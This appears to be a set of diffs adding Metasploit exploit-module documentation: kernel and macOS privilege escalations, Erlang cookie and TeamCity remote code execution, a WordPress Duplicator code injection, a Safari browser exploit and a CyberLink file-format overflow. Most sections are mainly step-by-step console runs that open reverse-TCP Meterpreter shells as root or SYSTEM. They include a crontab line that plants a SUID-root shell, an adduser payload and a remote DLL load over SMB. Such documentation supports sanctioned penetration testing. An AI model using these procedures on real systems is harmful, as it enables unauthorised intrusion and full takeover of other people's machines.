msf5 exploit(linux/local/bpf_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/bpf_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 4.4.0-21-generic appears to be vulnerable
[+] fuse package is installed
[+] /tmp/fuse_mount doesn't exist
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
[+] Unprivileged BPF loading is permitted
[+] libfuse-dev is installed
[+] gcc is installed
[+] pkg-config is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/hello.c' (2682 bytes) ...
[*] Writing '/tmp/doubleput.c' (5168 bytes) ...
[*] Writing '/tmp/suidhelper.c' (333 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/.FVfiRBKRDX7r' (285 bytes) ...
[*] Launching exploit. This may take up to 120 seconds.
[+] Success! set-uid root /tmp/suidhelper
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (861348 bytes) to 172.16.191.141
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.141:34804) at 2018-12-15 00:20:04 -0500
[+] Deleted /tmp/hello.c
[+] Deleted /tmp/hello
[+] Deleted /tmp/doubleput.c
[+] Deleted /tmp/doubleput
[+] Deleted /tmp/suidhelper.c
[+] Deleted /tmp/.FVfiRBKRDX7r
[+] Deleted /tmp/fuse_mount
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.141
OS : Ubuntu 16.04 (Linux 4.4.0-21-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[-] libfuse-dev is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Writing pre-compiled binarys to target
[*] Max line length is 65537
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

View File

@ -24,7 +24,7 @@ This module has been tested against:
**timing**
Set cron's timing. Default is to run within a minute. If this is changed, WsfDelay should be adjusted to compensate
Set cron's timing. Default is to run within a minute. If this is changed, WfsDelay should be adjusted to compensate
**cleanup**

View File

@ -0,0 +1,129 @@
## Description
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,
and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user
namespaces and kernel uid/gid mappings allow elevation to root
(CVE-2018-18955).
The target system must have unprivileged user namespaces enabled and
the newuidmap and newgidmap helpers installed (from uidmap package).
## Vulnerable Application
This module has been tested successfully on:
* Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64
* Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64)
* Linux Mint 19 kernel 4.15.0-20-generic (x86_64)
* Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64)
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/nested_namespace_idmap_limit_priv_esc`
4. `set SESSION <SESSION>`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
**COMPILE**
Options: `Auto` `True` `False` (default: `Auto`)
Whether the exploit should be live compiled with `gcc` on the target system,
or uploaded as a pre-compiled binary.
`Auto` will first determine if `gcc` is installed to compile live on the system,
and fall back to uploading pre-compiled binaries.
## Compiled Executables
The module makes use of two pre-compiled exploit executables:
* `subuid_shell`
* `subshell`
These are used when `gcc` is not available on the target host for live compiling,
or `COMPILE` is set to `False`.
The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar).
```bash
./i486-linux-musl-gcc -o subshell.out -s -pie -static subshell.c
./i486-linux-musl-gcc -o subuid_shell.out -s -pie -static subuid_shell.c
```
## Scenarios
### Fedora Workstation 28 (verbose output)
```
msf5 > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > check
[+] Unprivileged user namespaces are permitted
[+] /usr/bin/newuidmap is set-uid
[+] /usr/bin/newgidmap is set-uid
[+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable
[*] The target appears to be vulnerable.
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Unprivileged user namespaces are permitted
[+] /usr/bin/newuidmap is set-uid
[+] /usr/bin/newgidmap is set-uid
[+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.LOren.c' (6058 bytes) ...
[*] Writing '/tmp/.C9dWgG.c' (1604 bytes) ...
[*] Writing '/tmp/.6syapMd72' (367 bytes) ...
[*] Adding cron job...
[*] [.] starting
[*] [.] setting up namespace
[*] [~] done, namespace sandbox set up
[*] [.] mapping subordinate ids
[*] [.] subuid: 100000
[*] [.] subgid: 100000
[*] [~] done, mapped subordinate ids
[*] [.] executing subshell
[+] Success. Waiting for job to run (may take a minute)...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (816260 bytes) to 172.16.191.137
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.137:39150) at 2018-11-24 19:28:02 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 28 (Linux 4.16.3-301.fc28.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

View File

@ -0,0 +1,95 @@
## Vulnerable Application
It was discovered that the Unitrends `bpserverd` proprietary protocol, as exposed via `xinetd`,
has an issue in which its authentication can be bypassed. A remote attacker could use this
issue to execute arbitrary commands with root privilege on the target system.
This is very similar to `exploits/linux/misc/ueb9_bpserverd` however it runs against the
`localhost` by dropping a python script on the local file system. Unitrends stopped
`bpserverd` from listening remotely on version 10.
## Vulnerable Application
This module has been tested successfully on:
* UEB 9.2
* UEB 10.0
## Verification Steps
1. Get a user shell with `exploit/linux/http/ueb_api_rce` with `set target 1`
2. ```use exploit/linux/local/ueb_bpserverd_privesc ```
3. ```set session [SESSION]```
4. ```exploit```
5. A root meterpreter session should have been opened successfully
## Scenarios
### UEB 10.0 on CentOS 6.5
```
msf > use exploit/linux/local/ueb_priv_esc
msf exploit(linux/local/ueb_priv_esc) > set session 4
session => 4
msf exploit(linux/local/ueb_priv_esc) > exploit
[*] Started reverse TCP handler on 15.0.0.177:4444
[*] Writing payload executable to '/tmp/pEFoythF'
[*] Writing privesc script to '/tmp/CTZSovJR'
[*] Fixing permissions
[*] Sending stage (857352 bytes) to 10.20.1.202
[*] Meterpreter session 5 opened (15.0.0.177:4444 -> 10.20.1.202:45188) at 2018-04-27 16:44:28 -0400
[+] Deleted /tmp/pEFoythF
[+] Deleted /tmp/CTZSovJR
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
### UEB 9.2 on CentOS 6
```
resource (ueb_priv.rb)> use exploit/linux/http/ueb_api_rce
resource (ueb_priv.rb)> set rhost 1.1.1.1
rhost => 1.1.1.1
resource (ueb_priv.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (ueb_priv.rb)> set target 1
target => 1
resource (ueb_priv.rb)> run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:443 - Sending requests to UEB...
[*] Command Stager progress - 19.76% done (164/830 bytes)
[*] Command Stager progress - 39.16% done (325/830 bytes)
[*] Command Stager progress - 56.87% done (472/830 bytes)
[*] Command Stager progress - 74.82% done (621/830 bytes)
[*] Command Stager progress - 92.77% done (770/830 bytes)
[*] Command Stager progress - 110.48% done (917/830 bytes)
[*] Sending stage (861480 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:40216) at 2018-11-15 20:03:46 -0500
[*] Command Stager progress - 126.63% done (1051/830 bytes)
meterpreter > getuid
Server username: uid=48, gid=48, euid=48, egid=48
meterpreter > sysinfo
Computer : 1.1.1.1
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > background
[*] Backgrounding session 1...
resource (ueb_priv.rb)> use exploit/linux/local/ueb_bpserverd_privesc
resource (ueb_priv.rb)> set session 1
session => 1
resource (ueb_priv.rb)> run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Writing payload executable to '/tmp/.mM0iyQvoAO'
[*] Writing privesc script to '/tmp/.sDjn0m'
[*] Fixing permissions
[*] Sending stage (861480 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:40219) at 2018-11-15 20:04:21 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

View File

@ -7,7 +7,7 @@
Xorg (commonly referred as simply X) is the most popular display server among Linux users. Its ubiquity has led to making it an ever-present requisite for GUI applications, resulting in massive adoption from most distributions.
Xorg is more restrictive to exploit under CentOS. The user must have console lock and SeLinux may interfere.
Xorg is more restrictive to exploit under CentOS. The user must have console lock and SeLinux may interfere. If Selinux is enforcing crontabs context will be changed on exploit and you will be unable to clean it.
This module has been tested successfully on:

View File

@ -0,0 +1,154 @@
## Vulnerable Application
The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang
instances. Should an attacker get the authentication cookie code execution is trivial. Normally this
cookie can be found in the home directory as ".erlang.cookie", however it varies system to system
as well as its configuration. As an example on a Windows 10 instance it can be found under the
users home directory: e.g `C:\Users\<USER>\.erlang.cookie`. Code execution is achieved via the
`os:cmd('cmd').` command
## Verification Steps
1. Install the Erlang Port Mapper Daemon
2. Install RabbitMQ
3. Start `msfconsole`
4. Do `use exploit/multi/misc/erlang_cookie_rce`
5. Do `set RHOST <ip>`
6. Do `set COOKIE <cookie>`
7. Do `set TARGET <target>`
8. Do `set LHOST <host>`
9. `exploit` and verify shell is opened (if on windows login)
## Scenarios
### Ubuntu 16.04.5 LTS
```
msf exploit(multi/misc/erlang_cookie_rce) > options
Module options (exploit/multi/misc/erlang_cookie_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST W.X.Y.Z yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix
msf exploit(multi/misc/erlang_cookie_rce) > exploit
[*] Started reverse TCP double handler on W.X.Y.Z:4444
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XinIWxzXWDO5x9EM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XinIWxzXWDO5x9EM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600
id
uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq)
```
### Windows 10 (Build 17134)
First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe)
```
msf exploit(multi/misc/erlang_cookie_rce) > options
Module options (exploit/multi/misc/erlang_cookie_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)
Payload options (cmd/windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM no Custom group name to be used instead of default
PASS Wetw0rkHax0r$1 yes The password for this user
USER wetw0rk yes The username to create
WMIC false yes Use WMIC on the target to resolve administrators group
Exploit target:
Id Name
-- ----
1 Windows
msf exploit(multi/misc/erlang_cookie_rce) > exploit
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Exploit completed, but no session was created.
```
Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below.
exploit.rc ->
```
use exploit/windows/smb/smb_delivery
set SHARE MSF
set TARGET 0
exploit -j
use exploit/multi/misc/erlang_cookie_rce
set COOKIE EXAMPLE
set TARGET 1
set RHOST A.B.C.D
set PAYLOAD cmd/windows/generic
set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0"
exploit -j
```
```
msf > resource exploit.rc
[*] Processing /root/exploit.rc for ERB directives.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on W.X.Y.Z:4444
[*] Started service listener on W.X.Y.Z:445
[*] Server started.
[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0
[*] Exploit running as background job 1.
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Sending stage (179779 bytes) to A.B.C.D
[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

View File

@ -0,0 +1,62 @@
## Description
This module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This module supports TeamCity agents from version 6.0 onwards.
This module makes use of both a Windows and a Linux command stager. For Linux, the `echo` command stager flavor was replaced with the `printf` command stager flavor due to portability issues associated with `echo` and its options.
## Vulnerable Application
This module has been tested successfully with the following TeamCity Agent versions
* TeamCity 6.0
* TeamCity 6.5
* TeamCity 7.0
* TeamCity 8.0
* TeamCity 9.0
* TeamCity 10.0
* TeamCity 2017
* TeamCity 2018
## Verification Steps
1. `msfconsole`
2. `use exploit/multi/misc/teamcity_agent_xmlrpc_exec`
3. `set RHOSTS <rhost>`
4. `set payload <payload>`
5. `run`
## Options
**RPORT**
Which port the TeamCity Agent is listening on (default: 9090)
**CMD**
If specified the module will run the specified command instead of executing the payload
## Scenarios
### Windows Server 2012 R2 (x64) with TeamCity Agent 2018.1
```
msf5 > use exploit/multi/misc/teamcity_agent_xmlrpc_exec
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set RHOSTS 172.16.198.149
RHOSTS => 172.16.198.149
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set LHOST eth0
LHOST => eth0
msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > run
[*] Started reverse TCP handler on 172.16.198.150:4444
[*] Found TeamCity Agent running build version 58245
[*] Constructing Windows payload
[*] Found compatible build config for TeamCity build 58245
[*] Successfully sent build configuration
[*] Sending stage (179779 bytes) to 172.16.198.149
[*] Meterpreter session 1 opened (172.16.198.150:4444 -> 172.16.198.149:49178) at 2018-10-03 17:21:12 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

View File

@ -0,0 +1,72 @@
Duplicator by Snap Creek is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files:
* An ZIP archive with the complete WordPress files and Duplicator specific files:
* A copy of the `installer.php` script: `installer-backup.php`
* A SQL script that will be used to restore the database content: `database.sql`
* An installer PHP script to restore the archive `installer.php`
When the `installer.php` completes its process, the following files remain in the directory and has to be manually deleted:
* The ZIP archive
* `database.sql`
* `installer-backup.php`
* `installer-data.sql`
* `installer-log.txt`
* `installer.php`
WARNING: exploiting the vulnerability will overwrite the wp-config.php file, breaking the WordPress instance.
## Vulnerable application
Install a vulnerable version of [WordPress Duplicator (<= 1.2.40)](https://downloads.wordpress.org/plugin/duplicator.1.2.40.zip) and create a backup.
Put the `install.php` and archive files on a clean web server.
## Verification Steps
Confirm that functionality works:
1. Start `msfconsole`
2. `use exploit/multi/php/wp_duplicator_code_inject`
3. Set the `RHOST`.
4. Confirm the target is vulnerable: `check`
5. Confirm that the target is vulnerable: `The target is vulnerable.`
6. Set a payload: `set PAYLOAD php/meterpreter/reverse_tcp`
7. Set `LHOST` and `LPORT`
8. Run the exploit: `run`
9. Confirm you have now a meterpreter session
## Options
**TARGETURI**
The path to the installer.php file to exploit By default, the path is `/installer.php`.
## Scenarios
### Debian 9 running WordPress 4.9.8 with Duplicator 1.2.40
```
msf5 > use exploit/multi/php/wp_duplicator_code_inject
msf5 exploit(multi/php/wp_duplicator_code_inject) > set rhosts 192.168.37.247
rhosts => 192.168.37.247
msf5 exploit(multi/php/wp_duplicator_code_inject) > set targeturi /wordpress/installer.php
targeturi => /wordpress/installer.php
msf5 exploit(multi/php/wp_duplicator_code_inject) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/php/wp_duplicator_code_inject) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Checking if the wp-config.php file already exists...
[*] All good! Injecting PHP code in the wp-config.php file...
[*] Requesting wp-config.php to execute the payload...
[*] Sending stage (38247 bytes) to 192.168.37.247
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.247:1251) at 2018-12-11 11:46:16 -0600
[*] Attempting to recreate wp-config file...
[*] Found archive name 20181127_test_site_126e49aaa44976fa5226181127215223_archive.zip
[*] Successfully created the wp-config.php file!
meterpreter > sysinfo
Computer : WIN-0FAJA14JLP4
OS : Windows NT WIN-0FAJA14JLP4 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >
```

View File

@ -0,0 +1,84 @@
## Vulnerable Application
This module exploits a type confusion bug in the Javascript Proxy object in
WebKit. Safari on OSX 10.13.3 and lower are affected. The JS Proxy object
was introduced in Safari 10, so OSX 10.11 is not affected by the type
confusion, however the sandbox escape may still work.
The DFG JIT does not take into account that, through the use of a Proxy,
it is possible to run arbitrary JS code during the execution of a CreateThis
operation. This makes it possible to change the structure of e.g. an argument
without causing a bailout, leading to a type confusion (CVE-2018-4233).
The JIT region is then replaced with shellcode which loads the second stage.
The second stage exploits a logic error in libxpc, which uses command execution
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
## Verification Steps
1. Start `msfconsole`
1. `use exploit/osx/browser/safari_proxy_object_type_confusion`
1. `set LHOST <tab>`
1. `exploit`
1. Visit the URL on a vulnerable version of Safari
## Scenarios
### High Sierra 10.13
```
msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Using URL: http://0.0.0.0:8080/0PiuTy
[*] Local IP: http://192.168.0.2:8080/0PiuTy
[*] Server started.
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
[*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38
[*] Sending stage (53508 bytes) to 192.168.0.2
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : Users-iMac.local
OS : Darwin 17.0.0 Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-4570.1.46~2/RELEASE_X86_64
Architecture : x64
Meterpreter : python/osx
```
### Adding offsets for new versions
Although all macOS versions from 10.12 -> 10.13.3 are vulnerable, some versions
are not supported. It's easy to add support for a vulnerable version by running
the script `external/source/exploits/CVE-2018-4404/gen_offsets.rb` on the
target version.
You will need to install the latest radare2 for the script to function.
```
$ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..`
$ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb
'10.13' => {
:dyld_stub_loader => '0x000012a8',
:dlopen => '0x00002e60',
:confstr => '0x000024fc',
:strlen => '0x00001440',
:strlen_got => '0xee8',
},
```
The offset `:jsc_vtab` cannot be generated but you can guess it is either 0xe000 or 0xd000.
You can then add the offsets to the module:
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`
Please don't forget to contribute the offsets back to the framework if you have
successfully tested them.

View File

@ -0,0 +1,48 @@
## Vulnerable Application
This vulnerability works against OSX <= 10.13.3 (High Sierra). It has
been tested against El Capitan (10.11), Sierra (10.12) and High Sierra,
however it may work on older versions.
The task_set_special_port API allows callers to overwrite their bootstrap port,
which is used to communicate with launchd. This port is inherited across forks:
child processes will use the same bootstrap port as the parent.
By overwriting the bootstrap port and forking a child processes, we can now gain
a MitM position between our child and launchd.
To gain root we target the sudo binary and intercept its communication with
opendirectoryd, which is used by sudo to verify credentials. We modify the
replies from opendirectoryd to make it look like our password was valid.
## Verification Steps
1. Get a session on a vulnerable system
2. `use exploit/osx/local/libxpc_mitm_ssudo`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`
## Scenarios
### Example Run
```
msf5 exploit(multi/handler) > use exploit/osx/local/libxpc_mitm_ssudo
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LPORT 4446
LPORT => 4446
msf5 exploit(osx/local/libxpc_mitm_ssudo) > set SESSION 1
SESSION => 1
msf5 exploit(osx/local/libxpc_mitm_ssudo) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.2:4446
[*] Uploading file: '/tmp/romrvmmf'
[*] Uploading file: '/tmp/kflrjdgv'
[*] Executing cmd '/tmp/romrvmmf /tmp/kflrjdgv'
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(4088 bytes)
[*] Sending stage (808168 bytes) to 192.168.0.2
[*] Meterpreter session 2 opened (192.168.0.2:4446 -> 192.168.0.2:50020) at 2018-11-20 16:08:05 +0800
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

View File

@ -0,0 +1,61 @@
## Intro
This module exploits a SUID installation of the Emacs `movemail` utility
to run a command as root by writing to 4.3BSD's `/usr/lib/crontab.local`.
The vulnerability is documented in Cliff Stoll's book *The Cuckoo's Egg*.
## Setup
A Docker environment for 4.3BSD on VAX is available at
<https://github.com/wvu/ye-olde-bsd>.
For manual setup, please follow the Computer History Wiki's
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
## Targets
```
Id Name
-- ----
0 /usr/lib/crontab.local
```
## Options
**MOVEMAIL**
Set this to the absolute path to the SUID-root `movemail` executable.
**CMD**
If your payload is `cmd/unix/generic` (suggested default), set this to
the command you want to run as root. The provided default will create a
SUID-root shell at `/tmp/sh`.
## Usage
```
msf5 exploit(unix/local/emacs_movemail) > run
[*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc
[*] Current shell is /bin/sh
[*] $PATH is /bin:/usr/bin:/usr/ucb:/etc
[+] SUID-root [redacted] found
[*] Preparing crontab with payload
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
* * * * * root rm -f /usr/lib/crontab.local
[*] Creating writable /usr/lib/crontab.local
[+] Writing crontab to /usr/lib/crontab.local
[!] Please wait at least one minute for effect
[*] Exploit completed, but no session was created.
msf5 exploit(unix/local/emacs_movemail) > sessions -1
[*] Starting interaction with 1...
ls -l /usr/lib/crontab.local /tmp/sh
/usr/lib/crontab.local not found
-rwsr-xr-x 1 root 23552 Nov 22 15:17 /tmp/sh
/tmp/sh -c whoami
root
```

View File

@ -0,0 +1,71 @@
## Description
This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.
The vulnerability is triggered when opening a .lpp project file containing overly long string characters
via open file menu. This results in overwriting a structured exception handler record and take over the
application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).
## Vulnerable Application
CyberLink LabelPrint v2.5, which is available with [Power2Go 12 Essential](https://www.cyberlink.com/downloads/trials/power2go-platinum/download_en_US.html)
## Verification Steps
1. `./msfconsole`
2. `use exploit/multi/handler`
3. `set payload windows/meterpreter/reverse_tcp`
4. `set lhost <lhost>`
5. `set exitonsession false`
6. `exploit -j`
7. `use windows/fileformat/cyberlink_lpp_bof`
8. `set lhost <lhost>`
9. `set target 2`
10. `exploit`
11. Copy file to Win10 host and open in vulnerable software
12. Get a shell
## Scenarios
### Tested Windows 10 x64 running CyberLink LabelPrint v2.5
```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 172.22.222.132
lhost => 172.22.222.132
msf5 exploit(multi/handler) > set exitonsession false
exitonsession => false
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started reverse TCP handler on 172.22.222.132:4444
use windows/fileformat/cyberlink_lpp_bof
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set lhost 172.22.222.132
lhost => 172.22.222.132
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set target 2
target => 2
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > exploit
[*] Creating 'msf.lpp' file ...
[+] msf.lpp stored at /home/msfdev/.msf4/local/msf.lpp
msf5 exploit(windows/fileformat/cyberlink_lpp_bof) >
[*] Sending stage (179779 bytes) to 172.22.222.200
[*] Meterpreter session 1 opened (172.22.222.132:4444 -> 172.22.222.200:50522) at 2018-12-11 06:24:38 -0600
sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-IPOGIJR
OS : Windows 10 (Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 172.22.222.200 - Meterpreter session 1 closed. Reason: User exit
```

View File

@ -0,0 +1,70 @@
The module exploits a RCE bug on vulnerable installations of Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required.
The specific flaw exists within the `WebDMDebugServlet`, which listens on TCP ports `8080` and `8443` by default. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary code in the context of SYSTEM.
## Vulnerable Application
On a Windows machine, download and install a trial version of HPE IMC from here:
[https://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=](https://h10145.www1.hpe.com/downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19066&ProductNumber=JG748AAE&lang=&cc=&prodSeriesId=&SaidNumber=)
You need .Net 2.0, but that's the only dependency.
